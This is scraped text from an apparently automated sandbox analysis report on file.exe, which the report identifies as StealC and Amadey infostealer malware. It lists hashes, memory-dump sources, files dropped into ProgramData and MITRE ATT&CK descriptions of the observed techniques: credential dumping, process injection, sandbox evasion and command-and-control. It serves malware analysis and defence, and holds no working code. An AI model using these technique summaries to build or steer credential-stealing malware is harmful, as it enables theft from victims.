Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 47315071A042149FD714CF19CCC4A9E77B9EBC8358B158A39EA498BF05E731F9448B90

Function 6C5326B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5326C1
free.MOZGLUE(?), ref: 6C5326E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5326FF
free.MOZGLUE ref: 6C53270D

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 8f06a9abefb0afb2a1ec8d54dc935166f606124d40c2a35db72c68aa59a7ee99
Instruction ID: a0ba2a24ddc913d4c67be67181d0a97bb16d4f965b71972ff01c22ff5bcac57d
Opcode Fuzzy Hash: 8f06a9abefb0afb2a1ec8d54dc935166f606124d40c2a35db72c68aa59a7ee99
Instruction Fuzzy Hash: 90F0F9B27016105BEB009A59DC8895B73A9FF41258B510035EA1EC3B03FB31F918C6E6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAAFIJKKEHJDHJKFIECA

C:\ProgramData\BAEGCGCGIEGDHIDHJJEHDGHIEB

C:\ProgramData\CAKKJKKECFIDGDHIJEGD

C:\ProgramData\CBGCGDBK

C:\ProgramData\DHJECFCGHIDGHIDHDHIE

C:\ProgramData\DHJJEGHIIDAFIDHJDHJEBAEGHC

C:\ProgramData\IECGIEBA

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre